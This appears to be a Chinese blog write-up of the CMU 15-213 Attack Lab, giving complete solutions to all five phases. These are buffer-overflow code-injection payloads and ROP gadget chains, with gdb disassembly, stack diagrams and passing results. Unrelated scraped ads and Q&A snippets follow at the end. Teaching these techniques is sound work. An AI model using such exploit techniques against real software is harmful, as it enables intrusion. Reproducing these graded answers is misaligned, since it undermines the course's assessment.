原文發布于微信公眾號 - 云服務與SRE架構師社區(ai-cloud-ops)
CMU的15-213課程Introduction to Computer Systems (ICS)里面有一個實驗叫attack lab,利用緩沖區溢出漏洞改變正常的程序運行行為,從而達到攻擊的目的。關于這個lab的解題思路,網上已經有很多了,但我依然想要再來一篇。原因包括:
Computer Systems: A Programmer's Perspective(CS:APP)是為了這門課專門編寫的教材,中文翻譯為《深入理解計算機系統》。想想這門課的標題,Introduction?導論?好像哪里不太對。
所謂緩沖區溢出,是在歷史遺留的C函數庫中,存在一些函數不檢查緩沖區大小,比如下面這個函數正常只能輸入3個字符(不包括結尾的''):
void echo(){ char buf[4]; /* Way too small! */ gets(buf); puts(buf);}
當用戶輸入超過3個字符時,就可能破壞程序的幀棧結構,這一點恰恰為惡意攻擊者利用。attack lab中使用了有漏洞的Gets()
函數,并通過不同的編譯參數編譯了兩個二進制文件:ctarget和rtarget。
ctarget沒有啟用任何保護措施,攻擊者可以注入精心設計的二進制代碼,并修改函數返回地址來運行這段代碼,如下圖所示:
圖片來自CMU 15-213 的 09-machine-advanced.pdf
有幾種措施可以預防這種攻擊:
Address space layout randomization (ASLR)
,隨機初始化stack的起始位置,因此緩沖區的具體內存地址不再是確定的。沒有這個地址就不能再跳回來執行。No eXecute
標記,用來標記內存段是可讀
、可寫
,還是可執行
的。只要編譯器不給stack可執行標記,注入的代碼就無法執行。Stack Canary
,在緩沖區附近的一個內存中寫入一隨機的magic number,在返回前再讀出這個magic number看看是否跟原來的一致。因為緩沖區溢出攻擊會覆蓋這段內存,其寫入的值幾乎不可能跟這個magic number相同。rtarget啟用了ASLR
和No eXecute
標記,但是沒有啟用Stack Canary
[1]。代碼注入攻擊對此無效,需要用到另一種叫做Return-Oriented Programming(ROP)
攻擊的技術。其核心思想是,既然我不能執行自己注入的代碼,那么就從程序的TEXT斷里面需要可以利用的機器代碼片段(也叫做Gadget
),利用程序棧把一系列的Gadget
串起來完成攻擊,因此要求這些片段是在retq
(x86的返回語句)之前。
[1] 讀者朋友不妨思考下為什么沒有啟用Stack Canary?
比如這個不起眼的C函數:
unsigned addval_219(unsigned x){ return x + 2421715793U;}
編譯后的代碼為:
00000000004019a7 <addval_219>: 4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax 4019ad: c3 retq
其中0x4019ab
開始的58 90 c3
剛好也可以解釋為以下匯編語句。也就是把棧頂的元素傳送到%rax這個寄存器。
0: 58 pop %rax 1: 90 nop 2: c3 retq
當攻擊者找到足夠的Gadget
,就可以利用緩沖區溢出漏洞把這些Gadget
串聯起來完成攻擊,如下圖所示:
圖片來自CMU 15-213 的 09-machine-advanced.pdf
lab分為5個Phase:
touch1
到touch3
3個函數。touch2
和touch3
兩個函數.作為練習,rtarget提供了
farm.c
文件,里面包含很多有意構造的函數可以用來完成ROP攻擊,現實中會遠比這里困難。
Phase 1 很簡單,我們只要把test()的返回地址替換掉即可,通過反匯編和gdb單步調試,我們可以確定
getbuf()
會在棧上分配40(0x28)個字節touch1()
的地址是0x4017c0
(gdb) disas getbufDump of assembler code for function getbuf: 0x00000000004017a8 <+0>:sub $0x28,%rsp 0x00000000004017ac <+4>:mov %rsp,%rdi 0x00000000004017af <+7>:callq 0x401a40 <Gets> 0x00000000004017b4 <+12>:mov $0x1,%eax 0x00000000004017b9 <+17>:add $0x28,%rsp 0x00000000004017bd <+21>:retqEnd of assembler dump.(gdb) disas touch1Dump of assembler code for function touch1: 0x00000000004017c0 <+0>:sub $0x8,%rsp 0x00000000004017c4 <+4>:movl $0x1,0x202d0e(%rip) # 0x6044dc <vlevel> 0x00000000004017ce <+14>:mov $0x4030c5,%edi 0x00000000004017d3 <+19>:callq 0x400cc0 <puts@plt> 0x00000000004017d8 <+24>:mov $0x1,%edi 0x00000000004017dd <+29>:callq 0x401c8d <validate> 0x00000000004017e2 <+34>:mov $0x0,%edi 0x00000000004017e7 <+39>:callq 0x400e40 <exit@plt>End of assembler dump.
下面是執行到getbuf+0
時的棧結構
(gdb) x /8gx $rsp0x5561dc78: 0x0000000000000000 0x00000000000000000x5561dc88: 0x0000000000000000 0x00000000000000000x5561dc98: 0x0000000055586000 0x00000000004019760x5561dca8: 0x0000000000000002 0x0000000000401f24
于是我們可以畫出這個棧結構
怎么解讀這個圖?
address | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0 | note |
---|---|---|---|---|---|---|---|---|---|
0x5561dcc0 | 0xf4 | 0xf4 | 0xf4 | 0xf4 | 0xf4 | 0xf4 | 0xf4 | 0xf4 | what's that? |
0x5561dcb8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | what's that? |
0x5561dcb0 | 0 | 0 | 0 | 0 | 0 | 0x40 | 0x1f | 0x24 | 0x401f24 return main() |
0x5561dca8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 | test() stack |
0x5561dca0 | 0 | 0 | 0 | 0 | 0 | 0x40 | 0x19 | 0x76 | 0x401976 return test() |
0x5561dc98 | - | - | - | - | - | - | - | - | getbuf() stack |
0x5561dc90 | - | - | - | - | - | - | - | - | |
0x5561dc88 | - | - | - | - | - | - | - | - | |
0x5561dc80 | - | - | - | - | - | - | - | - | |
0x5561dc78 | - | - | - | - | - | - | - | - | current %rsp |
其中
Phase 1的解法很簡單,只要把0x5561dca0上面的返回地址替換成touch1的0x4017c0就好了
address | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0 | note |
---|---|---|---|---|---|---|---|---|---|
0x5561dcc0 | 0xf4 | 0xf4 | 0xf4 | 0xf4 | 0xf4 | 0xf4 | 0xf4 | 0xf4 | what's that? |
0x5561dcb8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | what's that? |
0x5561dcb0 | 0 | 0 | 0 | 0 | 0 | 0x40 | 0x1f | 0x24 | 0x401f24 return main() |
0x5561dca8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 | test() stack |
0x5561dca0 | '' | 0 | 0 | 0 | 0 | 0x40 | 0x17 | 0xc0 | <=== 修改這行 |
0x5561dc98 | - | - | - | - | - | - | - | - | getbuf() stack |
0x5561dc90 | - | - | - | - | - | - | - | - | |
0x5561dc88 | - | - | - | - | - | - | - | - | |
0x5561dc80 | - | - | - | - | - | - | - | - | |
0x5561dc78 | - | - | - | - | - | - | - | - | current %rsp |
我用0x2d(-
的ascii值)表示可以隨意填充的值,那么按照正常從左到左,從上到下重新排列這個“數組”的話,需要寫入緩沖區值是這樣的:
2d 2d 2d 2d 2d 2d 2d 2d2d 2d 2d 2d 2d 2d 2d 2d2d 2d 2d 2d 2d 2d 2d 2d2d 2d 2d 2d 2d 2d 2d 2d2d 2d 2d 2d 2d 2d 2d 2dc0 17 40 00 00 00 00
你會發現最后一行少了一個字節,因為Get()
函數需要在最后補一個。
# cat result1 | ./hex2raw | ./ctarget -qCookie: 0x59b997faType string:Touch1!: You called touch1()Valid solution for level 1 with target ctargetPASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:1:2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D C0 17 40 00 00 00 0
Phase 2稍微復雜些,因為我們需要給%rdi傳入一個unsinged
類型,具體的值在handout的cookie.txt中,這里是
# cat cookie.txt0x59b997fa
通過反匯編,我們可以看到touch2的地址是0x4017ec:
(gdb) disas touch2Dump of assembler code for function touch2: 0x00000000004017ec <+0>:sub $0x8,%rsp 0x00000000004017f0 <+4>:mov %edi,%edx 0x00000000004017f2 <+6>:movl $0x2,0x202ce0(%rip) # 0x6044dc <vlevel> 0x00000000004017fc <+16>:cmp 0x202ce2(%rip),%edi # 0x6044e4 <cookie> 0x0000000000401802 <+22>:jne 0x401824 <touch2+56> 0x0000000000401804 <+24>:mov $0x4030e8,%esi 0x0000000000401809 <+29>:mov $0x1,%edi 0x000000000040180e <+34>:mov $0x0,%eax 0x0000000000401813 <+39>:callq 0x400df0 <__printf_chk@plt> 0x0000000000401818 <+44>:mov $0x2,%edi 0x000000000040181d <+49>:callq 0x401c8d <validate> 0x0000000000401822 <+54>:jmp 0x401842 <touch2+86> 0x0000000000401824 <+56>:mov $0x403110,%esi 0x0000000000401829 <+61>:mov $0x1,%edi 0x000000000040182e <+66>:mov $0x0,%eax 0x0000000000401833 <+71>:callq 0x400df0 <__printf_chk@plt> 0x0000000000401838 <+76>:mov $0x2,%edi 0x000000000040183d <+81>:callq 0x401d4f <fail> 0x0000000000401842 <+86>:mov $0x0,%edi 0x0000000000401847 <+91>:callq 0x400e40 <exit@plt>End of assembler dump.(gdb)
# cat 2.smov $0x59b997fa,%rdiret# gcc -c 2.s# objdump -d 2.o2.o:文件格式 elf64-x86-64Disassembly of section .text:0000000000000000 <.text>: 0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi 7: c3 retq
因此這里需要注入的代碼是48 c7 c7 fa 97 b9 59 c3
我們需要把棧結構改成這樣:
address | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0 | note |
---|---|---|---|---|---|---|---|---|---|
0x5561dcb0 | 0 | 0 | 0 | 0 | 0 | 0x40 | 0x1f | 0x24 | 0x401f24 return main() |
0x5561dca8 | '' | 0x00 | 0x00 | 0x00 | 0x00 | 0x40 | 0x17 | 0xec | ret touch2() |
0x5561dca0 | 0x00 | 0x00 | 0x00 | 0x00 | 055 | 0x61 | 0xdc | 0x78 | ret 0x5561dc78 (inect code!) |
0x5561dc98 | - | - | - | - | - | - | - | - | getbuf() stack |
0x5561dc90 | - | - | - | - | - | - | - | - | |
0x5561dc88 | - | - | - | - | - | - | - | - | |
0x5561dc80 | - | - | - | - | - | - | - | - | |
0x5561dc78 | 0xc3 | 0x59 | 0xb9 | 0x97 | 0xfa | 0xc7 | 0xc7 | 0x48 | mov $0x59b997fa,%rdi; ret |
# cat result2 | ./hex2raw | ./ctarget -qCookie: 0x59b997faType string:Touch2!: You called touch2(0x59b997fa)Valid solution for level 2 with target ctargetPASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 C3 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 78 DC 61 55 00 00 00 00 EC 17 40 00 00 00 00
Phase 3要求調用touch3,它需要我們在內存中放入一個跟cookie相同的字符串:
# pythonPython 2.7.14 (default, Oct 12 2017, 15:50:02) [GCC] on linux2Type "help", "copyright", "credits" or "license" for more information.>>> s="59b997fa">>> for x in s: print ("%x" % ord(x))...3539623939376661>>>
因此這個字符串的二進制表示是35 39 62 39 39 37 66 61
。
這里看似跟Phase 2類似,但是這里touch3里面會調用hexmatch,如果我們把注入代碼和cookie放在getbuf的棧中,cookie會被這兩個函數推到棧中的內容覆蓋,注意反匯編代碼中<=====
標注的幾行都會修改棧的內容
(gdb) disassemble touch3Dump of assembler code for function touch3: 0x00000000004018fa <+0>:push %rbx <===== 0x00000000004018fb <+1>:mov %rdi,%rbx 0x00000000004018fe <+4>:movl $0x3,0x202bd4(%rip) # 0x6044dc <vlevel> 0x0000000000401908 <+14>:mov %rdi,%rsi 0x000000000040190b <+17>:mov 0x202bd3(%rip),%edi # 0x6044e4 <cookie> 0x0000000000401911 <+23>:callq 0x40184c <hexmatch> <===== 0x0000000000401916 <+28>:test %eax,%eax 0x0000000000401918 <+30>:je 0x40193d <touch3+67> 0x000000000040191a <+32>:mov %rbx,%rdx 0x000000000040191d <+35>:mov $0x403138,%esi 0x0000000000401922 <+40>:mov $0x1,%edi 0x0000000000401927 <+45>:mov $0x0,%eax 0x000000000040192c <+50>:callq 0x400df0 <__printf_chk@plt> 0x0000000000401931 <+55>:mov $0x3,%edi 0x0000000000401936 <+60>:callq 0x401c8d <validate> 0x000000000040193b <+65>:jmp 0x40195e <touch3+100> 0x000000000040193d <+67>:mov %rbx,%rdx 0x0000000000401940 <+70>:mov $0x403160,%esi 0x0000000000401945 <+75>:mov $0x1,%edi 0x000000000040194a <+80>:mov $0x0,%eax 0x000000000040194f <+85>:callq 0x400df0 <__printf_chk@plt> 0x0000000000401954 <+90>:mov $0x3,%edi 0x0000000000401959 <+95>:callq 0x401d4f <fail> 0x000000000040195e <+100>:mov $0x0,%edi 0x0000000000401963 <+105>:callq 0x400e40 <exit@plt>End of assembler dump.(gdb) disas hexmatchDump of assembler code for function hexmatch: 0x000000000040184c <+0>:push %r12 # <===== 0x000000000040184e <+2>:push %rbp # <===== 0x000000000040184f <+3>:push %rbx # <===== 0x0000000000401850 <+4>:add $0xffffffffffffff80,%rsp # -128, rsp would now at 0x5561dc08 0x0000000000401854 <+8>:mov %edi,%r12d 0x0000000000401857 <+11>:mov %rsi,%rbp 0x000000000040185a <+14>:mov %fs:0x28,%rax 0x0000000000401863 <+23>:mov %rax,0x78(%rsp) # <===== overwritten 0x5561dc80 0x0000000000401868 <+28>:xor %eax,%eax 0x000000000040186a <+30>:callq 0x400db0 <random@plt> 0x000000000040186f <+35>:mov %rax,%rcx 0x0000000000401872 <+38>:movabs $0xa3d70a3d70a3d70b,%rdx 0x000000000040187c <+48>:imul %rdx 0x000000000040187f <+51>:add %rcx,%rdx 0x0000000000401882 <+54>:sar $0x6,%rdx 0x0000000000401886 <+58>:mov %rcx,%rax 0x0000000000401889 <+61>:sar $0x3f,%rax 0x000000000040188d <+65>:sub %rax,%rdx 0x0000000000401890 <+68>:lea (%rdx,%rdx,4),%rax 0x0000000000401894 <+72>:lea (%rax,%rax,4),%rax 0x0000000000401898 <+76>:shl $0x2,%rax 0x000000000040189c <+80>:sub %rax,%rcx 0x000000000040189f <+83>:lea (%rsp,%rcx,1),%rbx 0x00000000004018a3 <+87>:mov %r12d,%r8d 0x00000000004018a6 <+90>:mov $0x4030e2,%ecx 0x00000000004018ab <+95>:mov $0xffffffffffffffff,%rdx 0x00000000004018b2 <+102>:mov $0x1,%esi 0x00000000004018b7 <+107>:mov %rbx,%rdi 0x00000000004018ba <+110>:mov $0x0,%eax 0x00000000004018bf <+115>:callq 0x400e70 <__sprintf_chk@plt> 0x00000000004018c4 <+120>:mov $0x9,%edx 0x00000000004018c9 <+125>:mov %rbx,%rsi 0x00000000004018cc <+128>:mov %rbp,%rdi 0x00000000004018cf <+131>:callq 0x400ca0 <strncmp@plt> 0x00000000004018d4 <+136>:test %eax,%eax 0x00000000004018d6 <+138>:sete %al 0x00000000004018d9 <+141>:movzbl %al,%eax 0x00000000004018dc <+144>:mov 0x78(%rsp),%rsi 0x00000000004018e1 <+149>:xor %fs:0x28,%rsi 0x00000000004018ea <+158>:je 0x4018f1 <hexmatch+165> 0x00000000004018ec <+160>:callq 0x400ce0 <__stack_chk_fail@plt> 0x00000000004018f1 <+165>:sub $0xffffffffffffff80,%rsp 0x00000000004018f5 <+169>:pop %rbx 0x00000000004018f6 <+170>:pop %rbp 0x00000000004018f7 <+171>:pop %r12 0x00000000004018f9 <+173>:retqEnd of assembler dump.(gdb) dias strncmpUndefined command: "dias". Try "help".(gdb) disas strncmpDump of assembler code for function strncmp@plt: 0x0000000000400ca0 <+0>:jmpq *0x203372(%rip) # 0x604018 <strncmp@got.plt> 0x0000000000400ca6 <+6>:pushq $0x3 0x0000000000400cab <+11>:jmpq 0x400c60End of assembler dump.(gdb) disas 0x400ca0(gdb) disas 0x604018Dump of assembler code for function strncmp@got.plt: 0x0000000000604018 <+0>:cmpsb %es:(%rdi),%ds:(%rsi) 0x0000000000604019 <+1>:or $0x40,%al 0x000000000060401b <+3>:add %al,(%rax) 0x000000000060401d <+5>:add %al,(%rax) 0x000000000060401f <+7>:add %dh,0x400c(%rsi)End of assembler dump.(gdb)
如果我們不能把cookie放在getbuf的棧中,那就只能利用最頂層的main函數返回地址之前的未使用空間了,需要的棧結構如下:
address | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0 | note |
---|---|---|---|---|---|---|---|---|---|
0x5561dcc0 | 0xf4 | 0xf4 | 0xf4 | 0xf4 | 0xf4 | 0xf4 | 0xf4 | '' | '' by Gets() |
0x5561dcb8 | 0x61 | 0x66 | 0x37 | 0x39 | 0x39 | 0x62 | 0x39 | 0x35 | palce "59b997fa" |
0x5561dcb0 | 0 | 0 | 0 | 0 | 0 | 0x40 | 0x1f | 0x24 | 0x401f24 return main()? |
0x5561dca8 | 0x00 | 0x00 | 0x00 | 0x00 | 0x00 | 0x40 | 0x18 | 0xfa | ret touch3() |
0x5561dca0 | 0x00 | 0x00 | 0x00 | 0x00 | 055 | 0x61 | 0xdc | 0x78 | ret 0x5561dc78 (stack!) |
0x5561dc98 | - | - | - | - | - | - | - | - | getbuf() stack |
0x5561dc90 | - | - | - | - | - | - | - | - | |
0x5561dc88 | - | - | - | - | - | - | - | - | |
0x5561dc80 | - | - | - | - | - | - | - | - | hexmatch+23 overwrite |
0x5561dc78 | 0xc3 | 0x55 | 0x61 | 0xdc | 0x80 | 0xc7 | 0xc7 | 0x48 | mov $0x5561dcb8,%rdi; ret |
其中
cat result3 | ./hex2raw | ./ctarget -qCookie: 0x59b997faType string:Touch3!: You called touch3("59b997fa")Valid solution for level 3 with target ctargetPASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 B8 DC 61 55 C3 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 78 DC 61 55 00 00 00 00 FA 18 40 00 00 00 00 00 24 1F 40 00 00 00 00 00 35 39 62 39 39 37 66 61
這里放上運行到hexmatch+23時的棧結構,來理解為什么這注入字符串要這么放。因為0x5561dca8到0x5561dc80之間的內容都會被覆蓋。
address | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0 | note |
---|---|---|---|---|---|---|---|---|---|
0x5561dcc0 | 0xf4 | 0xf4 | 0xf4 | 0xf4 | 0xf4 | 0xf4 | 0xf4 | '' | '' by Gets() |
0x5561dcb8 | 0x61 | 0x66 | 0x37 | 0x39 | 0x39 | 0x62 | 0x39 | 0x35 | cookie "59b997fa" |
0x5561dcb0 | 0 | 0 | 0 | 0 | 0 | 0x40 | 0x1f | 0x24 | 0x401f24 return main()? |
0x5561dca8 | ? | ? | ? | ? | ? | ? | ? | ? | touch3() push %rbx |
0x5561dca0 | 0x00 | 0x00 | 0x00 | 0x00 | 0x00 | 0x40 | 0x19 | 0x61 | touch3+28 call hexmatch() |
0x5561dc98 | ? | ? | ? | ? | ? | ? | ? | ? | hexmatch+0 push %r12 |
0x5561dc90 | ? | ? | ? | ? | ? | ? | ? | ? | hexmatch+2 push %rbp |
0x5561dc88 | ? | ? | ? | ? | ? | ? | ? | ? | hexmatch+3 push %rbx |
0x5561dc80 | - | - | - | - | - | - | - | - | hexmatch+23 mov $rax,0x78(%rsp) |
0x5561dc78 | 0xc3 | 0x55 | 0x61 | 0xdc | 0x80 | 0xc7 | 0xc7 | 0x48 | mov $0x5561dc80,%rdi; ret |
... | |||||||||
0x5561dc08 | %rsp after hexmatch+4 |
Phase 4需要重復Phase 2的攻擊,但是rtarget使用了兩重防護:
ASLR
隨機棧地址No eXecute
標志禁用棧地址段的執行權限因此代碼注入攻擊不再起作用,需要使用ROP攻擊。解題思路是:
經過對代碼的分析,我們找到了兩個可用的gadget
00000000004019a7 <addval_219>: 4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax 4019ad: c3 retq
其中0x4019ab
開始的58 90 c3
可以解釋為以下匯編語句
0: 58 pop %rax 1: 90 nop 2: c3 retq
00000000004019c3 <setval_426>: 4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) 4019c9: c3 retq
0x4019c5
開始的48 89 c7 90 c3
可以解釋為以下匯編語句
3: 48 89 c7 mov %rax,%rdi 6: 90 nop 7: c3 retq
這里解法是:
Gadget 1
把這個值pop到%rax中Gadget 2
把%rax中的值復制到%rdi(參數1)中address | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0 | note |
---|---|---|---|---|---|---|---|---|---|
72 | 0xf4 | 0xf4 | 0xf4 | 0xf4 | 0xf4 | 0xf4 | 0xf4 | 0xf4 | untouched |
64 | '' | 0x00 | 0x00 | 0x00 | 0x00 | 0x40 | 0x17 | 0xec | ret touch2() |
56 | 0x00 | 0x00 | 0x00 | 0x00 | 0x00 | 0x40 | 0x19 | 0xc5 | Gadget2 0x4019c6 |
48 | 0x00 | 0x00 | 0x00 | 0x00 | 0x59 | 0xb9 | 0x97 | 0xfa | cookie 0x59b997fa |
40 | 0x00 | 0x00 | 0x00 | 0x00 | 0x00 | 0x40 | 0x19 | 0xab | Gadget1 0x4019ab |
32 | - | - | - | - | - | - | - | - | getbuf() stack |
24 | - | - | - | - | - | - | - | - | |
16 | - | - | - | - | - | - | - | - | |
8 | - | - | - | - | - | - | - | - | |
0 | - | - | - | - | - | - | - | - | current %rsp |
注意,這里我們沒法給出棧的絕對地址,只能以相對地址表示。上圖中以buf的起始地址作為0.
cat result4 | ./hex2raw | ./rtarget -qCookie: 0x59b997faType string:Touch2!: You called touch2(0x59b997fa)Valid solution for level 2 with target rtargetPASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:rtarget:2:2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C6 19 40 00 00 00 00 00 EC 17 40 00 00 00 00
Phase 5 需要重復Phase 3,我們需要在棧上放一個字符串(cookie),并把這個字符串的地址作為參數傳遞給touch3(),這里的難點是rtarget編譯時針對緩沖區溢出攻擊做了防御:棧的起始位置是隨機的,因為無法預知字符串的地址。
先來看看我們有什么Gadgets可用,其中add_xy
是直接可用的,也是解題的核心
id | function | address | hex string | asm | note |
---|---|---|---|---|---|
G0 | addval_190 | 0x401a06 | 48 89 e0 c3 | mov %rsp,%rax; retq | 把%rsp的值復制到%rax |
G1 | setval_426 | 0x4019c5 | 48 89 c7 90 c3 | mov %rax,%rdi; nop; retq | Phase 4的Gadage2 |
G2 | addval_219 | 0x4019ab | 58 90 c3 | pop %rax; nop; retq | Phase 4的Gadage1 |
G3 | getval_481 | 0x4019dd | 89 c2 90 c3 | mov %eax,%edx; nop; retq | 注意這里是movl,傳送低4字節 |
G4 | getval_159 | 0x401a34 | 89 d1 38 c9 c3 | mov %edx,%ecx; cmp %cl,%cl; retq | 注意這里是movl,傳送低4字節 |
G5 | addval_189 | 0x401a27 | 89 ce 38 c0 c3 | mov %ecx, %esi; cmp %al,%al; retq | 注意這里是movl,傳送低4字節 |
G6 | add_xy | 0x4019d6 | 48 8d 04 37 c3 | lea (%rdi,%rsi,1),%rax; retq | 直接可用 |
解題思路是使用某個固定的偏移量把字符串放到%rsp的一個相對地址,然后根據%rsp的值和偏移量計算出絕對地址。
這可以通過調用add_xy
完成,兩個參數(%rdi,%rsi)可通過下面Gadget組合獲得
調用(G6)add_xy
計算cookie的地址,結果在%eax中。然后通過(G1)把%eax的值傳送到%rdi(參數1)中,最后調用touch3()
。
address | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0 | note |
---|---|---|---|---|---|---|---|---|---|
128 | - | - | - | - | - | - | - | '' | '' by Gets() |
120 | 0x61 | 0x66 | 0x37 | 0x39 | 0x39 | 0x62 | 0x39 | 0x35 | cookie "59b997fa" |
112 | 0x00 | 0x00 | 0x00 | 0x00 | 0x00 | 0x40 | 0x18 | 0xfa | touch3(): 0x40a8fa |
104 | 0x00 | 0x00 | 0x00 | 0x00 | 0x00 | 0x40 | 0x19 | 0xc5 | G1 0x4019c6: %rax -> %rdi |
96 | 0x00 | 0x00 | 0x00 | 0x00 | 0x00 | 0x40 | 0x19 | 0xd6 | G6 0x4019d6: lea (%rdi,%rsi,1),%rax |
88 | 0x00 | 0x00 | 0x00 | 0x00 | 0x00 | 0x40 | 0x1a | 0x27 | G5 0x401a27: %ecx -> %esi |
80 | 0x00 | 0x00 | 0x00 | 0x00 | 0x00 | 0x40 | 0x1a | 0x34 | G4 0x401a34: %edx -> %ecx |
72 | 0x00 | 0x00 | 0x00 | 0x00 | 0x00 | 0x40 | 0x19 | 0xdd | G3 0x4019dd: %eax -> %edx |
64 | 0x00 | 0x00 | 0x00 | 0x00 | 0x00 | 0x00 | 0x00 | 0x48 | 偏移量 120 - 48 = 72 (0x48) |
56 | 0x00 | 0x00 | 0x00 | 0x00 | 0x00 | 0x40 | 0x19 | 0xab | G2 0x4019ab: (%rsp) -> %rax |
48 | 0x00 | 0x00 | 0x00 | 0x00 | 0x00 | 0x40 | 0x19 | 0xc5 | G1 0x4019c6: %rax -> %rdi 這個地址也是1.1里面保存的%rsp |
40 | 0x00 | 0x00 | 0x00 | 0x00 | 0x00 | 0x40 | 0x1a | 0x06 | G0 0x401a06: %rsp -> %rax |
32 | - | - | - | - | - | - | - | - | getbuf() stack |
24 | - | - | - | - | - | - | - | - | |
16 | - | - | - | - | - | - | - | - | |
8 | - | - | - | - | - | - | - | - | |
0 | - | - | - | - | - | - | - | - | current %rsp |
圖中值得注意的幾點
# cat result5 | ./hex2raw | ./rtarget -qCookie: 0x59b997faType string:Touch3!: You called touch3("59b997fa")Valid solution for level 3 with target rtargetPASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:rtarget:3:2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 06 1A 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 27 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61
恭喜,當你走到這里的時候你已經墮入了魔道
不怎么務正業的程序員,BUG制造者、CPU0殺手。從事過開發、運維、SRE、技術支持等多個崗位。原Oracle系統架構和性能服務團隊成員,目前在騰訊從事運營系統開發。
本文由 貴州做網站公司 整理發布,部分圖文來源于互聯網,如有侵權,請聯系我們刪除,謝謝!
網絡推廣與網站優化公司(網絡優化與推廣專家)作為數字營銷領域的核心服務提供方,其價值在于通過技術手段與策略規劃幫助企業提升線上曝光度、用戶轉化率及品牌影響力。這...
在當今數字化時代,公司網站已成為企業展示形象、傳遞信息和開展業務的重要平臺。然而,對于許多公司來說,網站建設的價格是一個關鍵考量因素。本文將圍繞“公司網站建設價...
在當今的數字化時代,企業網站已成為企業展示形象、吸引客戶和開展業務的重要平臺。然而,對于許多中小企業來說,高昂的網站建設費用可能會成為其發展的瓶頸。幸運的是,隨...
巢湖四中咋樣?巢湖四中的校園氛圍很好。最重要的是,四中這幾年一直在進步,升學率明顯提高。嗯,老師們...那個 具體來說??偟膩碚f,老師是通情達理的。;我遇不到那種無情的老師。巢湖市有哪幾所重點高中?巢湖市分為四縣一區。我不 對四個縣不太了解,除了這個縣最好的高中:——廬江中學,廬江縣,含山中學,——,含山縣,——無為一中,無為縣,——和縣一中。對于居巢區,我比較了解:巢湖一中是無可爭議的最好,也是...
vivo手機電池容量怎么找?這個可以到VIVO官網自助查詢,具體方法::一、簡單的方法建議使用百度找不到VIVO手機官網,然后然后點擊。二、進入到VIVO手機官網以后,找到要網站查詢的手機型號,這里以X23手機為例,進入頁面。三、直接進入以后中,選擇“參數規格”選項。四、進入到以后就這個可以查詢到手機電池的容量了。vivo手機在哪里可以查電池多少毫安?vivo手機又不能在手機上查找到手機的電池容量...
太原到平遙古城?您好,從太原開車到平遙古城大概需要100-110公里,具體看路線和實際路況。謝謝你。平遙古城是一座具有2700多年歷史的文化名城,始建于西周宣王時期(公元前827-782年)。子明洪武三年(公元1370年)重建后,基本保持了原有格局。與第二批國家歷史文化名城四川閬中、云南麗江、安徽歙縣并稱為“保存最完好的四大古城”,也是唯一一個以古城整體成功申報世界文化遺產的古縣城。進入古城不需要...